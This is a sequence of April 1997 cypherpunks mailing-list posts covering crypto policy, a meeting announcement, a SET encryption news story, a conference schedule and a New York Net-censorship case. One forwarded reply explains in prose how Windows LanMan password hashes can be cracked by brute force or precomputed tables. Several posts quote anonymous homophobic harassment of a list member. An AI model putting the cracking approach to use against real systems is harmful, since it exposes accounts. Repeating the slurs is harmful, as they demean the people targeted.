their - -> civil rights as a consequence of their status. ("when they came for .." - -> argument incorporated herein by reference.) I definately and wholeheartedly agree with your sentiments here. - -> (The search is also interesting for reasons unrelated to Jim and his ideas, - -> because it provides insight into the level and type and timing of law - -> enforcement access to the net, treatment of a "confidential informant", and - -> protocol/procedure for search & seizure of computers and potentially - -> encrypted data, etc.) Si. - -> But that doesn't mean that the dissidents get special respect or treatment - -> for poor thinking. I think AP is poorly reasoned and poorly researched. (And - -> I think that "dissident" + "poor analysis/research" + "obsessive focus" = - -> "loon", hence my original comments.) I disagree with your acusation concerning "poor analysis/research". Thus I can not agree with even your definition of "loon". Besides, there are other possible, sometimes contradictory, variables fitting in to this oversimplistic equation that would also = "loon". For example, "sheep" + "religion" + "obsessive focus" = "loon" "freethinker" + "athiest" + "obsessive focus" = "loon" "cypherpunk" + "statist" + "obsessive focus" = "loon" Then there's: "obsessive focus" = "loon" which brings up another view, namely: "obsessive focus" = "dedication" As far as "poor analysis/research" in and of itself goes: there have been plenty of groundbreaking works which had very poor analysis, but were invaluable in "showing the way". Many of their authors were very dedicated. And some were even, !gasp!, "dissident". At the very least, dedication has often led to the publicization of ideas which are thereafter better researched by others (we can call them "drones", "librarians", "technicians", or even "computers"). In any case, I've long gone past the point of rambling... and long past the general topicality of cypherpunks, so I'll shut up. Now... Goodnight. :) And, don't take this post too seriously as it is 3:41 AM here, and I'm past the point of starting to nod off........... zzzz...... ............................................................................ . Sergey Goldgaber System Administrator el Net . ............................................................................ . To him who does not know the world is on fire, I have nothing to say . . - Bertholt Brecht . ............................................................................ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: http://www.pgp.net/pgpnet/pgp-faq/faq-05.html explains this signature. iQCVAwUBM0yaLcgbnd/MibbZAQHxPwP+KeWM7kuEs4n8aTFCiNzy39dkVvyuZR8R f/K23g2HjPSp9h9vDk0PBiPU6ZYBy9IitnW2bgURrKl3bxwlzNgwpS5s01MMc9H2 JFWL+33DoxnaZMQk0Rz7nvVcXuan4RkT+p64e35bX5kVpJTxpLBK/XpG5BtBVP82 1owNdLBDpFs= =2TqK -----END PGP SIGNATURE----- From stewarts at ix.netcom.com Thu Apr 10 02:35:42 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 10 Apr 1997 02:35:42 -0700 (PDT) Subject: APRIL BAY AREA CYPHERPUNKS MEETING AND BEACH PARTY, BONNY DOON Message-ID: <3.0.1.32.19970410023200.0063d7b0@popd.ix.netcom.com> The April Bay Area Cypherpunks Meeting will be held jointly with the Clan MacDude Back To The Beach party, April 12 at Bonny Doon Beach. ( www.macdude.org , http://www.macdude.org/aprbeach.htm for event description.) Among other things, John Randolph was planning to do a Great Wall of Fire with his leftover moving boxes, and various other cypherpunks are part of the Glorious Clan, which is a generally silly organization. Cypherpunkish agenda: It's been a quiet month, except for Jim Bell. CFP was just after the March meeting. The UK is hyping Key Escrow. Bring some discussion topics that benefit from handwaving but don't need a blackboard :-) Ron Rivest and Carl Ellison have been doing some good work on key distribution. PGP Inc. is up to something. China is announcing plans for Hong Kong. It's also time to celebrate "Diffie-Hellman Would Have Been Patent-Free!" day, though of course they changed the patent laws to make it September. MacDude planned events Fizzball: A game involving cheap evil smelling beer and large stick Caber toss: Except that we use a surf board Haggis toss: Using an old Bean Bag Chair Siege engines: How far can you launch a can of fizzbeer? Bonny knees contest: Best legs in (or out) of a kilt, blindfolded judging. Dry Ice bombs: Dry Ice in plastic soda bottles, big boom. Fire: Fire pit as executed by the army corpse of engineers Music: Bardic and Filk around the burning pit of doom and cheer Food and drink: bring stuff for potlucking. Silly clothes: Plaid and hawaiian print. "During the day there will be many special events including a Caber toss (with a longboard), a contest for best legs in a kilt (judging with and without blindfolds), ritual sacrificing of consumer goods, sand fortress building and, of course, fizzball. There will be a potluck dinner on the beach featuring a whole roast pig. Time: All day, especially afternoon and dinner time. What to bring: Food, Toys, Silly People, Sand-tolerant musical instruments. Catapults are good, too... Directions to Bonny Doon: Bonny Doon Beach is about 8-9 miles north of Santa Cruz on Hwy 1 (still south of Davenport (but only just...)). Bonny Doon Road is inland. The beach is between the highway and the ocean. Park and walk over the hill to the ocean. (This hill is a steep begger, with an abandoned rail line across the top.) Map: http://www.vicinity.com/yt.hm?FAM=mapblast&CMD=GEO&SEC=find&IC=0%3A0%3A5&IC% 3A=Beach+Party&AD2=Highway+1+%26+Bonny+Doon+Rd.&AD3=Santa+Cruz%2C+CA ASCII MAP 1 | | Beach |------ Bonny Doon Road | | ~ ~ Santa Cruz # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From jya at pipeline.com Thu Apr 10 04:16:35 1997 From: jya at pipeline.com (John Young) Date: Thu, 10 Apr 1997 04:16:35 -0700 (PDT) Subject: Information Systems Security Board Message-ID: <1.5.4.32.19970410111516.00815d90@pop.pipeline.com> On December 13, 1996, representatives from The National Information Infrastructure (NII) Task Force of The President's National Security Telecommunications Advisory Committee (NSTAC) held a meeting at Steptoe & Johnson in Washington, D.C. to discuss industry interest in developing an industry-run Information Systems Security Board (ISSB). Stewart Baker of Steptoe & Johnson discussed the antitrust laws and their application to the meeting, with particular emphasis on the need to avoid discussion of competitive conditions and to show openness to all interested participants. Guy Copeland, a representative from the Task Force, briefly discussed the ISSB model and the purposes of the meeting. Will Ozier, Chairman of the GSSP Committee, next discussed the efforts of the Generally Accepted System Security Principles (GSSP) project. Several representatives from the Administration expressed support for the concept of the ISSB. These representatives also indicated that the Administration would like private industry to take the lead in this area and is more than willing to take "a back seat" to such an effort. These representatives did request for periodic updates on any industry driven initiative in this area. ----- For full report and links to background documents: http://jya.com/issb.htm Thanks to RH. From real at freenet.edmonton.ab.ca Thu Apr 10 06:54:21 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Thu, 10 Apr 1997 06:54:21 -0700 (PDT) Subject: Reactionaries In-Reply-To: <199704100612.XAA27490@fat.doobie.com> Message-ID: On Wed, 9 Apr 1997, Huge Cajones Remailer wrote: I think Vulis needs each of us to send ten copies of this back to him. > Toto is another loser who pays for sick.sympatico.ca-ca > because he lacks the mental capacity to gain net access as > a perk of either employment or academic achievment. > > ,,, > ($ $) > -ooO-(_)-Ooo- To[homo]to > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From real at freenet.edmonton.ab.ca Thu Apr 10 06:56:22 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Thu, 10 Apr 1997 06:56:22 -0700 (PDT) Subject: Assassination Politics In-Reply-To: <199704100627.CAA10692@dhp.com> Message-ID: On Thu, 10 Apr 1997, lucifer Anonymous Remailer wrote: I think Vulis needs each of us to send ten copies of this back to him. > Toto's abysmal grammar, atrocious spelling and > feeble responses clearly identify him as a product of the > American education system. > > >\\\|/< > |_ ; > (O) (o) > -OOO--(_)--OOOo- T[h]o[mo]to > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From real at freenet.edmonton.ab.ca Thu Apr 10 06:58:36 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Thu, 10 Apr 1997 06:58:36 -0700 (PDT) Subject: Reactionaries In-Reply-To: <199704100619.XAA05430@swan> Message-ID: On Wed, 9 Apr 1997, Anonymous wrote: I think Vulis needs each of us to send ten copies of this back to him. > Toto is another loser who pays for sick.sympatico.ca-ca > because he lacks the mental capacity to gain net access as > a perk of either employment or academic achievment. > > ,,, > ($ $) > -ooO-(_)-Ooo- To[homo]to > > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From shabbir at democracy.net Thu Apr 10 07:56:46 1997 From: shabbir at democracy.net (Shabbir Safdar) Date: Thu, 10 Apr 1997 07:56:46 -0700 (PDT) Subject: EVENT REMINDER! Rep. Rick White on democracy.net tonight! (4/10/1997) Message-ID: <199704101456.KAA27844@panix3.panix.com> ========================================================================= _ _ __| | ___ _ __ ___ ___ ___ _ __ __ _ ___ _ _ _ __ ___| |_ / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __| | (_| | __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | | __/ |_ \__,_|\___|_| |_| |_|\___/ \___|_| \__,_|\___|\__, (_)_| |_|\___|\__| |___/ Government Without Walls _________________________________________________________________________ Update No.4 http:/www.democracy.net/ April 9 1997 _________________________________________________________________________ Table of Contents - REMINDER - Town Hall Meeting with Rep. Rick White (R-WA) THURS April 10. - Upcoming Events - About democracy.net _________________________________________________________________________ REPRESENTATIVE RICK WHITE BRINGS TOWN HALL MEETING TO CYBERSPACE Just a reminder that Rep. Rick White (R-WA) will be live online at democracy.net on Thursday April 10. We hope you will stop by, ask a few questions, and join Rep. White and Wired Magazine's Todd Lappin as we kick off the democracy.net Virtual Town Hall meeting project. Date: Thursday April 10, 1997 Time: 8:30 pm ET (5:30 pm Pacific) Event will last approx. 45 min Location: http://www.democracy.net You will need RealAudio and a telnet application (available free at http://www.democracy.net/software) Rep. White is the co-founder of the Congressional Internet Caucus, an opponent of the CDA, and a leading voice in Congress on Internet policy issues. White will discuss current Internet issues and respond to your questions. You can submit questions for Rep. White in advance by visiting http://www.democracy.net ___________________________________________________________________________ UPCOMING EVENTS Wednesday April 16 - 8:30 pm ET (5:30 pm Pacific) Representative Anna Eshoo (D-CA) Eshoo, who represents California's Silicon Valley, is co-sponsor of the SAFE bill to ease government controls on encryption technologies and has recently set up the first interactive "Virtual District Office" in the Congress. Join Representative Eshoo and democracy.net live online. Details are available at http://www.democracy.net/ ___________________________________________________________________________ ABOUT DEMOCRACY.NET democracy.net is a joint project of the Center for Democracy and Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore ways of enhancing citizen participation in the democratic process via the Internet. To this end, democracy.net will host live, interactive cybercasts of Congressional Hearings and online town hall meetings with key policy makers. democracy.net is made possible through the generous support of WebActive, Public Access Networks, the Democracy Network, and DIGEX Internet. More information about the project and its sponsors can be found at http://www.democracy.net/about/ To receive democracy.net announcements automatically, please visit our signup form at http://www.democracy.net/ __________________________________________________________________________ end update no.4 04/09/97 =========================================================================== From rah at shipwright.com Thu Apr 10 08:09:35 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 10 Apr 1997 08:09:35 -0700 (PDT) Subject: Internet security code said vulnerable to hackers Message-ID: --- begin forwarded text Sender: e$@thumper.vmeng.com Reply-To: "Joseph M. Reagle Jr." Mime-Version: 1.0 Precedence: Bulk Date: Thu, 10 Apr 1997 09:47:06 -0400 From: "Joseph M. Reagle Jr." To: Multiple recipients of Subject: Internet security code said vulnerable to hackers This is one screwed up story. I don't know what they are actually trying to say, but the guy from MasterCard isn't helping. (I stick my two derisive comments into the story. ) Forwarded Text ---- ATLANTA, April 9 (Reuter) - The new security protocol for safeguarding credit-card transactions on the Internet may have to change because the underlying cryptography is too easy to hack through and too difficult to upgrade, an expert said Wednesday. Steve Mott, senior vice president of electronic commerce and new ventures for MasterCard International, said it could take hackers as little as a year to break the industry's standard encryption code, which is supposed to render credit-card numbers unreadable to outsiders on the Internet's World Wide Web. For that reason, the consortium of technology companies and creditors that has spent two years years developing the Secure Electronic Transaction (SET) protocol may switch to a faster encryption system called Elliptic Curve, which is produced by Certicom Corp. The first complete version of SET, known as SET 1.0, will be available to software makers June 1 with core cryptography provided by RSA Data Security, a unit of Security Dynamics Technologies Inc. ``RSA is a very good starting point. But we suspect that in a year or two, the Kevin Mitnicks of the world will start to figure out ways to hack it,'' Mott said. Mitnick is one of the most notorious computer hackers. [This is stupid mixing "hackers" with key lengths. Kevin Mitnick doesn't have didley to do with encryption. He just grabbed a huge CC plain text file off of netcom file system. Should have said Ian Goldberg, or the folks at Ecole Polytechnique in Paris or MIT.] ``The only way you scale an RSA is to add a lot more bits. You add a lot more bits and it becomes more complex software in terms of the interaction of the transaction messages. That's part of what's taken SET so long to start with.'' [This is a hoot! Adding a longer key length makes the software more complex! And THIS is what has held up SET!!!?? ] MasterCard has been helping put together merchants with its own member banks for SET pilot projects in Denmark, Japan, Taiwan, South Africa and the United States. Mott told a news conference at the Internet Commerce Expo that the Elliptic Curve encryption system would make a better encryption core. In fact, he said it would have been chosen in the first place if developers had been known about it. ``It will fit on a chip card. I think its 160 bits equals security to 1,024 bits of RSA,'' the credit industry executive said. ``We anticipate putting it into some SET 1.0 pilots in the very near future this year in the U.S.'' Far from being disturbed by the possibility of hackers getting through the current SET cryptography, Mott said SET's developers would ``give them an award and a ribbon and then embody whatever they did as part of the improvements'' in the next version of security standards. ``The current version for SET is as safe as anybody can make it,'' he said. End Forwarded Text ---- _______________________ Regards, A man's dreams are an index to his greatness. -Zadok Rabinwitz Joseph Reagle http://web.mit.edu/reagle/www/ reagle at mit.edu E0 D5 B2 05 B6 12 DA 65 BE 4D E3 C1 6A 66 25 4E ---------- The e$ lists are brought to you by: Intertrader Ltd: "Digital Money Online" Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk Like e$? Help pay for it! For e$/e$pam sponsorship, mail Bob: Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo (Majordomo)^2: Rachel Willmer Commermeister: Anthony Templer Interturge: Rodney Thayer --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From declan at well.com Thu Apr 10 11:00:54 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 10 Apr 1997 11:00:54 -0700 (PDT) Subject: Cato/Brookings conference on "Regulation in the Digital Age" Message-ID: ---------- Forwarded message ---------- Date: Thu, 10 Apr 1997 10:59:53 -0700 (PDT) From: Declan McCullagh To: fight-censorship at vorlon.mit.edu Subject: Cato/Brookings conference on "Regulation in the Digital Age" [Robert Bork weighs in on the CDA -- who can pass that up? This promises to be a fabulous conference. --Declan] ---------- Forwarded message ---------- Date: Thu, 10 Apr 1997 05:35:01 -0400 (EDT) From: Solveig Bernstein To: Declan McCullagh Subject: Digital Regulation Conference Declan, would you please post this to fight-censorship with an invitation to repost freely. Cato and Brookings have a really interesting conference lined up for April 17/18 in DC. I'm particularly looking forward to seeing Bob Corn-Revere debating former Judge Bork on content controls. We've decided to waive the registration fee for students, professors, teachers, policymakers, and those in the public interest community. Feel free to join us--email Julie to rsvp at jbriggs at cato.org or call (202) 789-5296. REGISTRATION FEE HAS BEEN WAIVED FOR NONPROFITS, EDUCATORS, STUDENTS, AND POLICYMAKERS!!! **************************************************************** C A T O . B R O O K I N G S @ C A P I T A L_H I L T O N . A P R I L 1 7 / 1 8 / 1 9 9 7 Regulation in the Digital Age Schedule of Speakers THURSDAY, APRIL 17, 1997 8:00 - 8:30 a.m. Registration 8:30 - 8:45 a.m. Welcoming Remarks: Robert Litan, Director, Economic Studies Program, Brookings Institution, and William Niskanen, Cato Institute 8:45 - 10:15 a.m. Does the Digital Age Require a New Approach to Regulation (If So, What Is It)? Michael Katz, University of California, Berkeley Lawrence J. White, New York University Peter Pitsch, Pitsch Communications Richard E. Wiley, Wiley, Rein & Fielding 10:15 - 10:30 a.m. Break 10:30 - 12:00 a.m. Does the Digital Age Require a New Approach to Antitrust? Donald I. Baker, Baker & Miller Robert E. Hall, Stanford University Timothy F. Bresnahan, Stanford University Thomas Hazlett, University of California, Davis 11:30 - 1:00 p.m. Luncheon and Luncheon Address: "Implications of the Digital Age for Democratic Government: A Dialogue," Thomas E. Mann, The Brookings Institution, and William Niskanen, Cato Institute 2:00 a.m. - 3:45 p.m. Making Global Commerce Happen (including Intellectual Property, Encryption, Privacy, UCC Contracts, Anti-fraud, and Tax Issues) Anne Branscomb, Harvard University Dorthy E. Denning, Georgetown Computer Science David Post, Georgetown University Law School Kenneth W. Dam, University of Chicago Law School Whitfield Diffie, Sun Microsystems 3:45 - 4:00 p.m. Break 4:00 - 5:15 p.m. Professional Licensing Joel Hyatt, Hyatt Legal Services Robert Waters, Arent Fox Jay Sanders, American Telemedicine Association 5:45 - 6:15 Reception 6:15 - 8:00 p.m. Dinner and Dinner Address: "Regulation the Telecosm," George Gilder, The Discovery Institute FRIDAY, APRIL 18, 1997 8:30 - 9:30 a.m. Regulating Content (Culture, Pornography, and Libel) Robert Bork, American Enterprise Institute Patrick Vittet-Phillip, European Union Bob Corn-Revere, Hogan & Hartson Nadine Strossen, ACLU (invited) 9:30 - 10:30 a.m. Standards and Interoperability Cynthia Beltz, American Enterprise Institute Jeff Rohlfs, Strategic Policy Institute Daniel L. Brenner, National Cable Television Association 10:30-10:45 a.m. Break 10:45 - 11:45 a.m. Ensuring Access Robert W. Crandall, The Brookings Institution Jonathan Sallett, MCI Lawrence Gasman, Cato Institute Lawrence Strickling, Ameritech 11:45 - 1:15 p.m. Luncheon and Luncheon Address: "Birth of the Digital Nation," Louis Rossetto, Editor & Publisher of Wired. News media please email or call Robin Hulsey at (202) 789-5293. THE CAPITAL HILTON 16th & K STREETS, NW WASHINGTON, DC Click above for pricing and registration information Return to the Cato Home Page Solveig Bernstein, Esq. (202) 789-5274 (202) 842-3490 (fax) Assistant Director of Telecommunications & Technology Studies Cato Institute 1000 Mass. Ave. NW Washington, DC 20001 From sunder at brainlink.com Thu Apr 10 13:16:29 1997 From: sunder at brainlink.com (Ray Arachelian) Date: Thu, 10 Apr 1997 13:16:29 -0700 (PDT) Subject: [NTSEC] GOOD GRIEF! re:Hack' punches hole in Microsoft NT s (fwd) Message-ID: =====================================Kaos=Keraunos=Kybernetos============== .+.^.+.| Ray Arachelian | "If you're gonna die, die with your|./|\. ..\|/..|sunder at sundernet.com|boots on; If you're gonna try, just |/\|/\ <--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/ ../|\..| "A toast to Odin, |you're gonna die, you're gonna die!" |.\|/. .+.v.+.|God of screwdrivers"| --Iron Maiden "Die With Your Boots on"|..... ======================== http://www.sundernet.com ========================= For with those which eternal lie, with strange eons even death may die. ---------- Forwarded message ---------- Date: Thu, 10 Apr 1997 18:10:04 +0000 From: Alan C. Ramsbottom To: Jos Visser Cc: ntsecurity at iss.net Subject: Re: [NTSEC] GOOD GRIEF! re:Hack' punches hole in Microsoft NT s > I am currently reviewing the write-up to include the newest > relevant information.I had considered the possibility that you could > brute-force attack the password space. However, the possible number > of passwords is quite bi. Let us assume that the average password > contains about 40 bits of information, the entie plausible passowrd > space then is 2^40 = 1099511627776 possible passwords. Suppose you > could hash and store 1,000,000 passwords each secondthe brute-force > approach takes more then 12 days to calculate and requires about > 16 GB diskspace to store the results (uncompressed). > > Could you please point me the errors in my calculations so I can fix > the article asap? Certainly.. Theoretically, for a "complete" brute-force attack on the DES hashes we need to consider a 56 bit ( 7 chars x 8 bits) password space. This space is the maximum we have to worry about because of the 14 char password to two independent 7 char DES keys split. The timing overheads of checking both the 8 char hashes during a brute-force attack are relatively trivial. Now the crunch. Theory is fine, but in the real world there are constraints on the password space - in reality it gets much smaller e.g. 1) chars below 0x20 can't be entered in the password dialogue box 2) alphas are uppercased prior to being used as DES keys so you can also ignore 0x61 to 0x7A. Correcting the case of any alphas after finding a LanMan password is a quick and relatively trivial task using MD4. That much is guaranteed even if you (reasonably in 99.99% of cases) start throwing away characters that are difficult to quickly enter on a keyboard e.g. anything that needs an ALT-0-nnn sequence to enter (more or less everything above 0x80 subject to country). Finally 3-4Gb disks are now relatively inexpensive so the amount of diskspace required for a precomputed attack is not much of an obstacle. It has been also been suggested that if you are short of diskspace you could always keep sequentially sorted sections of the precomputed file on a backup tape. Then, as you mention above there is compression. My main point is that you don't need an exceptionally fast machine or impossible amount of disk space. If I can write code to do this then you can guarantee that other people have, and that theirs is both cleverer and runs faster ;-) "Greater password complexity" is a good idea for many reasons but not much help in this specific case. The LanMan hashes are simply far too easy to attack and you should concentrate your defences in preventing access to them. Finally, we need to put this in proper perspective - this attack and the associated IE 3.0 SMB and NTLM problems can EASILY BE AVOIDED with a few simple network administration policies. --Alan-- acr at als.co.uk PS. Haven't seen my original message turn up on NTSecurity yet so I don't suppose this will. From AGRAPA at banamex.com Thu Apr 10 13:26:38 1997 From: AGRAPA at banamex.com (ARTURO GRAPA YSUNZA) Date: Thu, 10 Apr 1997 13:26:38 -0700 (PDT) Subject: New York court hears challenge to state Message-ID: Remember that the Internet is an international playground and while the U.S. Government may say "Rate your site or go to jail" or worse yet filter traffic that is not rated (blind censorship), the rest of the world may go on its merry way and not even flinch (crypto is a good example). Sounds like a state-run New York Times. The phrase "harmful to children" also means different things in different countries. Maybe the idea is that countries and/or sites that do not rate their content will be blocked from accessing U.S. sites (immigration law on the net). Other countries could do the same in retaliation. That would mean the loss of access to a lot of information for all sides. "Excuse me sir, I can't let your packet pass unless I've seen your Net passport and visa". And what happens to all those international sites hosted on U.S. territory? If they were to move out it would mean a loss of $$ for U.S. companies (again). Also, don't forget that state laws would impede interstate commerce (loss of revenue for the state). I see the word "boycott" in my future. Somebody please slap the person who said the Cold War was over. I'm glad that somebody has finally discovered time travel. Unforunately its in back in time not forward! Art Grapa agrapa at banamex.com ---------- From: Declan McCullagh To: ARTURO GRAPA YSUNZA; cypherpunks at toad.com Subject: New York court hears challenge to state Date: Wednesday, April 09, 1997 7:33PM Microsoft Mail v3.0 IPM.Microsoft Mail.Note De: Declan McCullagh Para: ARTURO GRAPA YSUNZA cypherpunks at toad.com Asunto: New York court hears challenge to state Fecha: 1997-04-09 19:33 Prioridad: 3 Ident. del mensaje: 9E367DA622B0D011AF8D006097838CEB ----------------------------------------------------------------------- ----- -- ********** Date: Wed, 9 Apr 1997 17:50:08 -0400 To: fight-censorship-announce at vorlon.mit.edu From: Declan McCullagh Subject: FC: New York court hears challenge to state Net-censorship law Sender: owner-fight-censorship-announce at vorlon.mit.edu Reply-To: declan at well.com X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/ ************** http://cgi.pathfinder.com/netly/editorial/0,1012,811,00.html The Netly News Network April 8, 1997 The Bad Apple by Declan McCullagh (declan at well.com) To those of us who follow such events, it's a common enough scene: a squad of civil liberties attorneys troops into a federal courtroom to do righteous battle with an unconstitutional law. It happened this week in New York City, before a judge who finished hearing testimony yesterday in a case the ACLU brought against yet another state Net-censorship statute. The outcome in this lawsuit, however, will reverberate not just in the Empire State but also along the marble corridors of the U.S. Capitol. If the Supreme Court rules that the Communications Decency Act indeed violates the First Amendment, Congress hopes the New York case will guide it in revising the law so it passes constitutional muster. And given how the New York case is shaping up for the forces of unbridled free speech, that could be ugly. A group of 15 plaintiffs challenging the New York statute filed suit in January, arguing that that the law unconstitutionally stifles online speech and unduly interferes with interstate commerce on the Net. The measure, which took effect last November, amends the penal code by making it a crime to distribute online pictures or text "which is harmful to minors." Attorneys for the New York attorney general's office, who are defending the law, say that the "harmful to minors" legal standard isn't as heinous as the CDA's "indecency" ban -- it covers only sexually explicit pictures, not textual conversations. They also argue that filtering software could be used to help online purveyors of adult-only stuff comply with the state statute. Of course, as always, academics, librarians and artists point out that these attempts to limit online communications are overly broad and ill-defined. What I consider harmful to a kid might not be what you consider harmful, after all. Yesterday four witnesses testified for the plaintiffs, uniformly saying they felt threatened by the law. "I walk around with a healthy fear that every book in our collection would give someone the idea that we're giving harmful materials to minors," said Maurice Friedman, executive director of the Westchester Library System. Rudolf Kinsky, an artist from Poland, weighed in next: "I feel a chilling effect on my creativity. Someone could consider my art harmful to minors and could prosecute me. I came to this country [from Poland] looking for freedom of speech, not this." But yesterday's testimony seemed like the capper to an overwhelmingly poor showing the government made in its opening arguments last week. The government's case lasted a mere hour and was hardly persuasive. Among other gaffes, the state failed to slide a new legal standard -- "level of maturity" -- into the discussion; Judge Loretta Preska quickly rebuffed that attempt: "I don't read 'level of maturity' anywhere in the statute," she said, nettled. That wasn't the only time Preska pounced on the government. By the end of the three-day hearing, I was ready to bet good money on the ACLU winning yet another victory for the Net. But I have a confession to make. In January I claimed that "knocking down New York's law should be a virtual slam dunk," saying it suffers from all of the same problems as the CDA. But now, after reading a recent law review article by UCLA law professor Eugene Volokh, I'm not as sure. Volokh points out that the government could rely on the ready existence of ratings schemes, such as RSACi and PICS, which give publishers the ability to keep their material out of the hands of minors. He writes: "Under the existing doctrine, it would be constitutional to criminalize the display of any harmful-to-minors material which does not carry a correct rating." In other words, rate your web pages with RSACi or go to jail. (I can't see Microsoft, the Software Publishers Association and other RSACi boosters probably opposing this. I can smell another Microsoft world-domination plot brewing already...) Indeed, Volokh told me yesterday that he thinks the New York attorney general may have a workable case. "I think the state has a decent defense. They could say look, this rating imposes a burden but not a very high burden. It's like that imposed on a bookseller. All you're required to do is put on this label." Certainly, Net rating systems played a big part in the New York trial. Last Friday a government attorney asked: "In general, what would be more burdensome as a whole: requiring millions of web sites to rate their contents or just requiring a percentage of web sites that contain graphical objectionable material to rate their web sites?" What the government was trying to point out was that rating systems like RSACi -- that let you assign values to web pages based on nudity or violence -- are increasingly commonplace. If they're commonplace, then netizens may be able to comply with the New York law. And if netizens can comply with the law, then it may be constitutional. [...] "Harmful to minors is something people will talk about again and it's an option, but I don't want to say we'll be out there trumpeting it," says Connie Correll, spokeswoman for Rep. Rick White, a Republican congressman from Washington State -- whose district includes Microsoft. (Coincidence, or another Microsoft attempt at world domination? While you're pondering the question, keep in mind that White championed "harmful to minors" language in December 1995, but Congress rejected it in favor of the CDA's broader "indecency" ban.) Correll adds: "People are watching the New York case. I think it's going to be a real good indication." So do I. ### ----------------------------------------------------------------------- --- This list is public. To join fight-censorship-announce, send "subscribe fight-censorship-announce" to majordomo at vorlon.mit.edu. More information is at http://www.eff.org/~declan/fc/ ------------------------- Time Inc. The Netly News Network Washington Correspondent http://netlynews.com/ From hallam at ai.mit.edu Thu Apr 10 13:43:40 1997 From: hallam at ai.mit.edu (Phillip M. Hallam-Baker) Date: Thu, 10 Apr 1997 13:43:40 -0700 (PDT) Subject: Checkout the crypto in IE 4.0 Message-ID: <01BC45CF.1AA8ACE0@crecy.ai.mit.edu> Maybe people have already noticed but the pre-release IE 4.0 has S/MIME encryption and signatures built in. I'm trying to set it up as we speak. Unfortunately Outlook Express does not seem to pick up the Outlook '97 address book so I haven't been able to add the sig to this message :-) Phillip M. Hallam-Baker Visitng Scientist MIT Laboratory for Artificial Intelligence. hallam at ai.mit.edu http://www.ai.mit.edu/people/hallam/hallam.html From hallam at ai.mit.edu Thu Apr 10 13:43:46 1997 From: hallam at ai.mit.edu (Phillip M. Hallam-Baker) Date: Thu, 10 Apr 1997 13:43:46 -0700 (PDT) Subject: Information Systems Security Board Message-ID: <01BC45CF.1CE02650@crecy.ai.mit.edu> "John Young" wrote in article <5iil75$n93 at life.ai.mit.edu>... > On December 13, 1996, representatives from The National > Information Infrastructure (NII) Task Force of The President's > National Security Telecommunications Advisory Committee > (NSTAC) held a meeting at Steptoe & Johnson in Washington, D.C. > to discuss industry interest in developing an industry-run > Information Systems Security Board (ISSB). > > Stewart Baker of Steptoe & Johnson discussed the antitrust laws > and their application to the meeting, with particular emphasis on > the need to avoid discussion of competitive conditions and to show > openness to all interested participants. I would consider such a proposal from Suart Baker to involve an unfortunate conflict of interest. As one of the people who makes his living as a fixer enabling people to comply with the export control laws he does not have an interest in pressing for reform of the anti-crypto regulations that stop computer security sdystems being used. He is like the owner of a NYC taxi medallion. His 'property' has no legitimate value but he has an interest to continue the legal distortions that keep it in place. Phill From hallam at ai.mit.edu Thu Apr 10 13:43:50 1997 From: 